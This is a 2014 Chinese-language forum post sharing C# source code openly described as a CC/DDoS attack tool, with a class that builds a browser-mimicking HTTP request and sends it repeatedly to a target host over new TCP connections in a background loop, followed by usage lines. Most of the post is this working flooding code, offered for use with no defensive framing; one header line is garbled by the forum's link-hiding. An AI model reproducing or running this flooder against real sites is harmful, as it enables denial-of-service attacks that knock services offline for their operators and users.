Evo. G Tech Team Forum
Welcome to Evo. G Tech Team Forum. We have moved to a new website : www.evogtechteam.com

Thanks you.

by Evo. G Tech Team Management.

Join the forum, it's quick and easy

Evo. G Tech Team Forum
Welcome to Evo. G Tech Team Forum. We have moved to a new website : www.evogtechteam.com

Thanks you.

by Evo. G Tech Team Management.
Evo. G Tech Team Forum
Would you like to react to this message? Create an account in a few clicks or log in to continue.

C#压力测试(CCDDOS攻击)源代码

Go down

C#压力测试(CCDDOS攻击)源代码 Empty C#压力测试(CCDDOS攻击)源代码

Post by cyjian December 13th 2014, 09:55

发放一个C#(C#封装的网络类比较多且全面,适合做网页测试软件)的CC/DDOS攻击器demo的源代码。
使用C#当中socket基类编程,效率比较高。大家有钱的捧个钱场,没钱的捧个人场了啊~

  1. using System.Text;
  2. using System.ComponentModel;
  3. using System.Net.Sockets;
  4. using System.Net;
     
  5. namespace DepthCharge
  6. {
  7.     class HttpTest
  8.     {
  9.         const string NewLine = "\r\n";
  10.         bool run = false;
  11.         BackgroundWorker worker;
  12.         int count;
  13.         string host;
  14.         int port;
  15.         string path;
  16.         string method;
  17.         string content;
  18.         public HttpTest(int count, string host, int port,string path, string method, string content)
  19.         {
  20.            this.count=count;
  21.            this.host = host;
  22.            this.port = port;
  23.            this.path = path;
  24.            this.method = method;
  25.            this.content = content;
  26.         }
     
     
  27.         public void start()
  28.         {
  29.             worker = new BackgroundWorker();
  30.             worker.DoWork += new DoWorkEventHandler(doWork);
  31.             worker.RunWorkerAsync();
  32.             worker.WorkerSupportsCancellation = true;
  33.         }
  34.         public void stop()
  35.         {
  36.             run = false;
  37.             worker.CancelAsync();
  38.         }
  39.         private void doWork(object sender, DoWorkEventArgs e)
  40.         {
  41.             run = true;
  42.             StringBuilder strb = new StringBuilder();
  43.             strb.Append(method + " " + this.path + NewLine);
  44.             strb.Append("HOST: " + this.host + NewLine);
  45.             strb.Append("User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7" + NewLine);
  46.             strb.Append("Accept: */*" + NewLine);
  47.             strb.Append("Connection: keep-alive" + NewLine);
  48.             strb.Append("Referer: [url=http://][You must be registered and logged in to see this link.] + this.host + NewLine);
  49.             strb.Append("HOST: " + this.host + NewLine);
  50.             strb.Append("Accept-Encoding: gzip,deflate" + NewLine);
  51.             strb.Append("Accept-Language: zh-CN,zh;q=0.8" + NewLine);
  52.             if ("POST".Equals(method))
  53.             {
  54.                 strb.Append("Content-Length: " + System.Text.Encoding.ASCII.GetBytes(content.ToString()).Length + NewLine);
  55.             }
  56.             strb.Append("Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3" + NewLine);
  57.             strb.Append(NewLine);
  58.             if ("POST".Equals(method))
  59.             {
  60.                 strb.Append(content);
  61.             }
  62.             byte[] buf = System.Text.Encoding.ASCII.GetBytes(strb.ToString());
  63.             for (int i = count; i > 0 && run; --i)
  64.             {
  65.                 byte[] recvBuf = new byte[64];
  66.                 IPAddress ip = IPAddress.Parse(host);
  67.                 System.Net.IPEndPoint endp = new System.Net.IPEndPoint(ip, 80);
  68.                 var socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
  69.                 socket.Connect(endp);
  70.                 socket.Send(buf);
  71.                 socket.Receive(recvBuf, 64, SocketFlags.None);
  72.             }
  73.         }
     
  74.         public bool Running { get{return run;} set{run=value;} }
  75.     }
  76. }

使用方法:

  1. httptest = new HttpTest(int.Parse(httpcount.Text), this.httphost.Text,int.Parse(this.httpport.Text), this.httppath.Text, this.httpmethod.Text, this.httpcontent.Text);
  2. httptest .start();

cyjian
Spammer
Spammer

Posts : 211
Points : 72995
Reputation : 0
Join date : 2014-06-18

Back to top Go down

Back to top


 
Permissions in this forum:
You cannot reply to topics in this forum